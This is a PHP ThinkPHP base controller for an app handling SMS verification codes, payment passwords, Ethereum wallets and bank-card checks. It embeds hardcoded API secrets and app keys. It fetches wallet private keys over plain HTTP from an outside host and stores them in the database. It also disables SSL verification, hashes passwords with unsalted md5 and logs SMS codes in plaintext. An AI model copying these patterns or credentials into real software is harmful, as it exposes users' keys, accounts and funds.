<?php
namespace app\index\controller;

use app\facade\Redis;
use app\helps\SmsHelper;
use app\models\User;
use app\mq\MessageQueue;
use think\Controller;
use think\Db;
use think\facade\Cache;
use think\facade\Lang;
use think\Facade\Env;
use app\helps\Aes;
class Base extends Controller
{
    protected function initialize()
    {
        $this->smsHelper = new SmsHelper();

    }

    protected function sendSuccess($msg, $data = [], $url = '')
    {
        switch ($this->request->header('language')) {
            case 'en-us':
                Lang::load('../application/lang/en-us.php');
                break;
            default:
                Lang::load('../application/lang/zh-tw.php');
                break;
        }
        return json([
            'status' => 1,
            'msg'    => lang($msg),
            'url'    => $url,
            'data'   => $data
        ]);
    }

    public function sendFail($msg, $url = '')
    {

        switch ($this->request->header('language')) {
            case 'en-us':
                Lang::load('../application/lang/en-us.php');
                break;
            default:
                Lang::load('../application/lang/zh-tw.php');
                break;
        }
        return json([
            'status' => 0,
            'msg'    => lang($msg),
            'url'    => $url
        ]);
    }

    /**
     * @return \think\response\Json
     * @throws \think\db\exception\DataNotFoundException
     * @throws \think\db\exception\ModelNotFoundException
     * @throws \think\exception\DbException
     */
    public function sendSms()
    {
        $action = $this->request->post('action');
        $phone = $this->request->post('phone');
        $area = $this->request->post('area');
        $check = $this->request->post('check');
        $sms_code_chek=Redis::hget("system","sms_code_chek");
        if ($sms_code_chek&&md5(md5($phone).$action)!=$check){
            return $this->sendFail('校验出错,请传正确参数');
        }
        if (empty($area)){
            return $this->sendFail('area不能为空');
        }
        if (startwith($area,"+")){
            $area = str_replace("+","",$area);
        }
        switch ($action) {
            case 'register':
            case 'updatemobilenew':
                if (User::where('mobile',$phone)->find()) {
                    return $this->sendFail('手机号已存在');
                }
                break;
            case 'trade':
            case 'forgot':
            case 'updatemobileold':
            case 'password':
            case 'device':
            case 'tradepass':
                if (!User::where('mobile',$phone)->find()) {
                    return $this->sendFail('手机号不存在');
                }
                break;
            default:
                return $this->sendFail('err sms action.');
                break;
        }

        if ($area == '86' && !preg_match("/^1[3456789]{1}\d{9}$/", $phone)) {
            return $this->sendFail('请输入正确手机号');
        }

        $cache_phone = Cache::get('sms' . $phone);
        if ($cache_phone) {
            return $this->sendFail('验证码已发送;请不要重复发送.');
        }

//        $statusStr = [
//            "200"  => "短信发送成功",
//            "-1" => "参数不全",
//            "-2" => "服务器空间不支持,请确认支持curl或者fsocket，联系您的空间商解决或者更换空间！",
//            "4002" => "密码错误",
//            "4001" => "账号不存在",
//            "41" => "余额不足",
//            "42" => "帐户已过期",
//            "43" => "IP地址限制",
//            "50" => "内容含有敏感词"
//        ];
//        $user = 'yqdl88hy';          //短信平台帐号
//        $pass = md5( md5(q5726wF0) + tKey); //短信平台密码
        $code = rand(100000, 999999);
        $result = $this->smsHelper->sendSmsCode($phone,$code);
        $time=180;
//        \think\facade\Log::write($smsapi.$params.json_encode($result), "sms", true);
        if ($result->code == 0) {
            Cache::set('sms' . $phone, json_encode(['code' => $code, 'time' => time()]), $time);
            $log = array();
            $log['mobile']=$phone;
            $log['resouce']=$action;
            $log['content']=$code;
            $log['time']=time();
            Db::table('tb_sms_log')->insert($log);
            return $this->sendSuccess('短信发送成功');
        } else {
            $msg = "";
            if($result->detail){
                $msg=$result->detail;
            }
            return $this->sendFail("短信发送失败:".$msg);
        }
    }




    protected function valiToken($token)
    {
        $vali_id = 'token_' . $this->user['id'];

        if ($this->user['token'] == md5('888888')) {
            return ['status' => 0, 'msg' => '请先设置您的支付密码'];
        }
        if (Cache::get($vali_id) >= 3) {
            return ['status' => 0, 'msg' => '请重新设置支付密码'];
        }
        if ($this->user['token'] != md5($token)) {
            if (Cache::get($vali_id)) {
                Cache::inc($vali_id, 1);
            } else {
                Cache::set($vali_id, 1, 60);
            }

            return ['status' => 0, 'msg' => '支付密码错误'];
        }
    }

    protected function wallte($uid)
    {
        $json = file_get_contents("http://wallte.74kd.cn/eth.php");
        $data = json_decode($json, true);

        $data = [
            'address' => $data['address'],
            'privatekey' => $data['private'],
        ];
        $data['uid'] = $uid;
        $result = \think\Db::name('wallte')->insert($data);
        if (!$data || !$result) {
            return false;
        }
        return $data;
    }

    public function language()
    {
        // \think\facade\Lang::setAllowLangList(['zh-cn', 'en-us', 'zh-tw']);
        // cookie('think_var', $this->request->header('language'));
        // return $this->sendSuccess('切换成功');
    }

    public function mqSend($exchange,$routing_key,$data){
        $mqQueue = new MessageQueue();
        return $mqQueue ->pushMessage($exchange,$routing_key,$data);
    }

    public function checkUserInfo(){
        $user = $this->request->user;
        $checkAcity = $this->request->post("checkActivity");
        $res= $this->checkUserBookNeed($user,$checkAcity);
        if ($res){
            return $res;
        }

        return json([
            'status' => 1,
            'msg'    => "可以进行下一步",
            'url'    => ""
        ]);
    }


    public function checkUserBookNeed($user,$checkAcity= false){
        $user = $this->request->user;
        if ($checkAcity){
            if ($user["activity"]!=1){
                return json([
                    'status' => 8004,
                    'msg'    => "请先激活账户",
                    'url'    => ""
                ]);
            }
        }
        if ($user["real_status"]!=1){
            return json([
                'status' => 8003,
                'msg'    => "请实名认证",
                'url'    => ""
            ]);
        }
        if (empty($user["contact"])){
            return json([
                'status' => 8002,
                'msg'    => "请绑定紧急联系人",
                'url'    => ""
            ]);
        }
        $bank = Db::table("tb_mt_bank")->where("type",3)->where("uid",$user["id"])->where("is_del",0)->find();
        if (!$bank){
            return json([
                'status' =>  8001,
                'msg'    => "请绑定银行卡",
                'url'    => ""
            ]);
        }
        if ($bank["status"]==0){
            if (!$bank){
                return json([
                    'status' =>  8005,
                    'msg'    => "您的银行卡账号被冻结,请联系客服",
                    'url'    => ""
                ]);
            }
        }
        return null;
    }

    function get_table_field($table = '',$id = '',$val ='',$field = ''){
        $res = Db::table($table)->where($id,$val)->field($field)->find();
        return $res;
    }

    function get_table_img($img = ''){
        $region    = Env::get('cos.region'); //设置一个默认的存储桶地域
        $bucket    = Env::get('cos.bucket'); //存储桶名称 格式：BucketName-APPID
        $res = Db::table('tb_file')->where('id',$img)->field('save_name,type')->find();
        if($res['type'] == 0){
            $url = 'http://'.$_SERVER['HTTP_HOST'].$res['save_name'];
        }
        if($res['type'] == 1){
            $url = 'http://'.$bucket.'.cos.'.$region.'.myqcloud.com/'.$res['save_name'];
        }
        return $url;
    }


    public function checkcode(){
        $captcha = new \think\captcha\Captcha();
        $captcha->imageW=121;
        $captcha->imageH = 32;  //图片高
        $captcha->fontSize =14;  //字体大小
        $captcha->length   = 4;  //字符数
        // $captcha->fontttf = '5.ttf';  //字体
        $captcha->expire = 30;  //有效期
        $captcha->useNoise = false;  //不添加杂点
        $captcha->reset = true;  //验证成功后是否重置
        return $captcha->entry();
    }


    public function flowPost($method,$body){
        $test = "http://gx.clientaccess.10086.cn/shop/exterInf/flow/".$method;
        $dev = "https://www.gx.10086.cn/elecdms/exterInf/flow/".$method;
        $url = $dev;

        $secret = "e8b013eae317479fb09c088b1b8068f0";
        $appkey = "itybk1581390088145";
//        $secret = "9fce86b46bc2996b36a56477793238ff";
//        $appkey = "zengdudu";
        $channelId = "EB001";

        $head=[];
        $head["appkey"]=$appkey;
        $head["channelId"]=$channelId;
        $param=[];
        $param["Head"]=$head;
        $param["Body"]=$body;
        $pString = base64_encode(json_encode($param,true));
        $res =$this->getFlowUrl($secret,$pString,$url,$appkey);
        return $res;
    }

    public function getFlowUrl($secret,$pString,$url,$appkey){
        $api ="http://127.0.0.1:8080/encode?secret=".$secret."&str=".$pString;
        $res = $this->request_post($api);
        if ($res&&$res["code"]==200){
            $resData = $res["data"];
            $url = $url."?requestParam=".$resData["requestParam"]."&sign=".$resData["sign"]."&appkey=".$appkey;
            $res = $this->request_post($url);
            if ($res&&$res["resultCode"]=='0000'){
                if(isset($res["result"]["checkResult"])&&$res["result"]["checkResult"]["resultCode"]!=1){
                    return $this->sendFail($res["result"]["checkResult"]["resultDesc"],$url);
                }
                return $this->sendSuccess($res["resultMsg"],isset($res["result"])?$res["result"]:[]);
            }else{
                return $this->sendFail($res["resultMsg"],$url);
            }
        }else{
            return $this->sendFail("秘钥解析失败",$api);
        }
    }

    function request_post($url = '',$header=false) {

        $ch = curl_init($url);
        curl_setopt($ch,CURLOPT_HEADER,0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //返回数据不直接输出
        curl_setopt($ch, CURLOPT_ENCODING, "gzip"); //指定gzip压缩
        //add header
        if(!empty($header)) {
            curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
        }
        //add ssl support
        if(substr($url, 0, 5) == 'https') {
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);    //SSL 报错时使用
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);    //SSL 报错时使用
        }
        $err= [];
        try {
            $content = curl_exec($ch); //执行并存储结果
        } catch (\Exception $e) {
            $err["msg"] = $e->getMessage();
        }
        $curlError = curl_error($ch);
        if(!empty($curlError)) {
            $err["msg"] = $curlError;
        }
        curl_close($ch);

//        print_r($url);
//        //显示获得的数据
//        print_r($content);
        if ($content){
            return json_decode($content,true);
        }else{
            $err["code"]=500;
            $err["resultCode"]="0001";
            return $err;
        }


    }
}
